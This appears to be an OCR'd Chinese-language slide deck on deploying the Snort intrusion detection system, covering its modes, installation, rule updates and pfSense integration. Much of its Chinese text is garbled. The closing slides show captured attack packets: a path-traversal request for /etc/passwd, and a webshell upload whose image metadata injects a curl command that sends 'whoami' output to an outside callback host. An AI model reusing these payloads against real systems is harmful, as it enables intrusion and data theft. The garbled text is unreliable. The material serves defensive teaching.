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Signature Detection
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Anomaly Detection
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Stateful Protocol Analysis
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Intelligence Detection
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1. Snortz2—EFAIHY(Open Source) ~ 55 (Uinx, Windows...)HINIDS » B F
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4. SNORTE F4duk : http://www.snort.org/
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1. Z2SNORT E4EITEFM - http://www.snort.org/

2. H{f5:Oinkcode

3. TRIFLASRCARZERA FRYZ 27720
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Sniffer mode

| I F oK it e AT 3t ¢ dilleader 2
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Packet Logger mode

| I ¥ Sniffer mode # F eBL 3t » #43f Boedt &
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g Network Intrusion Detection System mode
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reject Drop + Response Alert + Response Wdrop + Response
normalize Normalizes packet Doesn't normalize Doesn't normalize
replace replace content Doesn't replace Doesn't replace

respond close session close session close session




SNORT IDS Component

packet Capure B Preprocessor B perection engine Rl Output Plug-n




Packet capture engine

1. 1BmBWinPcapaiNpcap EH{EE-RREEABIREE

2. BitaEZEPreprocessor 1848




Preprocessor Plug-ins

1. EREIRUHER S A ERIEIES T (analysis, reject.

alert)

2. TCP/IP#mEANRESHT. {18H|PortScan. Decoder




Detection Engine
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Output Plug-ins
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Step 2

Get Startea

Step |

Step 3

Find the appropriate package for your operating system and install.

entos FreeBSD Windows

Source
wget https://www.snort.org/downloads/snort/dag-2.8.7.tar.gz

wget https://www.snort.org/downloads/snort/snort-2.9.19.tar.gz

tar xvzf dag-2.9.7.tar.gz

cd daq-2.8.7
.fconfigure &% make &% sudo make install

tar xvzf snort-2.9.19.tar.gz

cd snort-2.9.19
./configure --enable-sourcefire && make && sudo make install

Downloads

Sign up and get your Cinkcode We recommend that everyone

Sign up/Subscribe
subscribe to get the latest detections. For those unable to subscribe,

creating an account on Snortorg will still give you access to the registered user rule packages

Stay current with the latest updates using

loads/community/community-rules.tar.gz -0 community-rules.tar.gz

4 3

tar -xvzf community-rules.tar.gz -C /etc/snort/rules

Downloads
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ZaESnort EIRIELLEENpcap B4,

Many more details about Npcap are available in the Npcap User/Developer Guide. We've also created a feature comparison between Npcap and WinPcap.

Downloading and Installing Npcap Free Edition

The free version of Npcap may be used (but not externally redistributed) on up to 5 systems (free license details). It may also be used on unlimited systems where it is only
used with Nmap, Wireshark, and/or Microsoft Defender for Identity. Simply run the executable installer. The full source code for each release is available, and developers
can build their apps against the SDK. The improvements for each release are documented in the Npcap Changelog.

¢ Npeap 1.60 installer for Windows 7/2008R2, 8/2012, 8.1/2012R2, 10/2016, 2019 (x86, x64, and ARM64).
+ Npcap SDK 1.12 (ZIP).

e Npcap 1.60 debug symbols (ZIP).

¢ Npcap 1.60 source code (ZIP).

The latest development source is in our Github source repository. Windows XP and earlier are not supported; you can use WinPcap for these versions.
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mRSnort EFEENE, T&ESnort 2. 9iRAIESEE, AINESERREBEESnort IREER

Snort v2.9
snorirules-snap :_.h.:.-- /983 targz

nortrules-snapshot-29

or
ar
o
or ) targz
o ) | targz
o) /91/0targz
o /Q1/ 1targz
o) ) | targz
o 2919C targz




Snort rule F&EEH

HRhRASnort Rule @2 118(ED%E, A6EIFMRAI(58744)

« = v 4 B> snortrules-snapshot-2083.tar » snortrules-snapshot-2983 » rules

=)

ules

trafficrules

B 110EAFERE ASE

B fiprules
B icmp.rule:
B icmp-infc

dicator-compromise.rul

19 @ER |




% Snort config

TR FE RS EE]
FFAR SR ARV ENRE R 7R R
EXHome net 4JE&

iR B

:PS“!V:A

# Path to your rules files (this can be a relative path)

# Note for Windows users: You are advised to make this an absolute path,
# such as: c:\snort\rules

var RULE PATH C:\Snort\rules

var SO RULE PATH C:\Snort\so rules

var PREPROC RULE PATH C:\Snort\preproc rules
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16 Snort -W EEREERVERNE




Sniffer mode

$§51: Snort —v —i1 EiEEindex 148~/ EFFEXTCP/IP {&58&3
15<°2: Snort -v —d —-i1EfEindex 148-~NEEEZELayer 7&:1
$843: Snort —v —d —e —i1EffEindex 18N EEREZHNE L REET

stem32\cmd.exe

ne/S
3 Wind




}E 1: Snort —dev —-i7 -l c\Snort\log —h 192.168.0.0/16

ErEfindex 7 RN EBEEENERAAEN ZEc\Snort\log BEF T, FERIEEAtcpdumpi&.,
}E 2: Snort —dev —i7 -l c\Snort\log —h 192.168.0.0/16 —K ascii

Eiffindex 78RN EFEFEZSEAREER Zc\Snort\log BER T, f#fFRkascii codef&=,.




Network Intrusion Detection System mode

54 Snort —dev -i7 -l c: \Snort\log —h 192.168.0.0/16 —K ascii —c c:\Snort\etc\snort.conf
REINIDSIET,, ASMEERERRRIETILE, WIFRBESECIRESnort\log FARJalert.idsfEzE.
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Pfsense f&5 11

1. LAFreeBSDRERRY, REMIFEREITR.
2. WebAEEHEWR S KE. BBHE. VPNFIIEE.
3. AIERRSEN
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Pfsense ZZ25Snort Packages

A EiZiEEPackages Manager FalliZZESnortE{4

< C O a4l //192.168.0.180/pk o~

@
I

Available Packages 6

Installed Packages Available Packages

Search term

snort
Both v
Enter a search string or *nix regular expression to search package names and descriptions
Packages
Name Version Description

o o/gSECNSE



Snort Global Setting

BZF3 Snort VRT i#Ei@0inkCode ZEYSnort Rule, IEIFR{EEIRREA!,

Snort Subscriber Rules

Enable Snort VRT

Click to enable download of Snort free Registered User or paid Subscriber rules

Sign Up for a free Registered User Rules Account
Sign Up for paid Snort Subscriber Rule Set (by Talos)

Snort Oinkmaster Code

76 - 2 /

Obtain a snort.org Oinkmaster code and paste it here. (Paste the code only and not the URL!)

[Jisense




B #7Snort Rule

System>Snort>Update Rules BYEEEF#ZAI

Services / Snort/ Update Rules

Snort Interfaces  Global Settings Updates Alerts Blocked Passlists Suppress |IP Lists

SID Mgmt LogMgmt Sync

Installed Rule Set MD5 Signature

Rule Set Name/Publisher MDS Signature Hash MDS Signature Date
Snort Subscriber Ruleset Not Downloaded Not Downloaded
Snort GPLv2 Community Rules Not Downloaded Not Downloaded
Emerging Threats Open Rules Not Downloaded Not Downloaded
Snort OpenApplD Detectors Not Downloaded Not Downloaded
Snort ApplD Open Text Rules Not Downloaded Not Downloaded

Update Your Rule Set

Last Update [ Unknown Result: Unknown]

=

Installed Rule Set MD5 Signature

Rule Set Name/Publisher MDS5 Signature Hash MDS5 Signature Date

Snort Subscriber Ruleset 1b5331e885e9270fd9686bde3514df69 Monday, 13-Dec-21 07:38:58 L

Snort GPLv2 Community Rules 2b6765349f5e9033ce3cc1a8426b162a Monday, 13-Dec-21 07:38:58 L

Emerging Threats Open Rules 81036bc1895ff4e70309792e1c5e4522 Monday, 13-Dec-21 07:38:59 L

Snort OpenAppID Detectors €3750c2055ac27f75¢971ff3011240c6  Monday, 13-Dec-21 07:38:58 L

Snort AppID Open Text Rules 2c26cb4f6a3bc03ab9c8e02befcfbfel Monday, 13-Dec-21 07:38:58 L

Feodo Tracker Botnet C2 IP Rules Not Enabled Not Enabled

Update Your Rule Set

Last Update

Dec-13 2021 07:38Result: Success

Update Rules

[Jisense
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BB RGBS AsnortRANEHA.

Snort Interfaces  Global Settings Updates Alerts Blocked PasslLlists Suppress |IP Lists

SIDMgmt LogMgmt Sync

Interface Settings Overview

Interface Snort Status Pattern Match Blocking Mode Description Actions
[0 WAN (em0) & Ce® AC-BNFA DISABLED WAN |
E——
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GET /sdk/..f..f.. /.. 0. f o S . fetc/passwd HTTP/1.1
1| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;gq=0.8 |
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.@ (Windows NT 19.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.8 Safari/537.36
Host: garc.ntu.edu.tw
Connection: Keep-alive

1 client pietfs), O sorvor pkt), O turm(s)

Entive conversation (349 bytes) v Show data s ASCIT ~

-
Find:

| Find Hext

Filter Ot This S teamm Print Save ase Back EARA L]

[Jisense
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AEERERE HEE2TE<SBERwebshell

b M \ireshark - Follow TCP Stream (tcp.stream eq 0) - request_1636073436.pcap - m]

POST /uploads/user HTTP/1.1

Host: 140.114.85.220

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.©.4472.77 Safari/537.36
Connection: close

Content-Length: 878

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5

X-CSRF-Token: {{csrf-token}}

Accept-Encoding: gzip

—————— WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM. . . .DIJVMDIRM. ......... (Fomasnaaar RN k.D.,q..I.n...."2FORM. .. "DIVUINFO. ..
...... d...INCL....shared anno.iff.BG44.....J..........7..*..BG44........BG44.. ...
FORM. . ..DIJVIANTa...P(metadata

(Copyright "\
" . gx{curl “whoami®.{{interactsh-url}}} . \

"y

------ WebKitFormBoundaryIMv3mxRg59TkFSX5--

Pkt {, 2 clicnt piefs),  server pks),  eurnde). Click eo scleez

[Jisense
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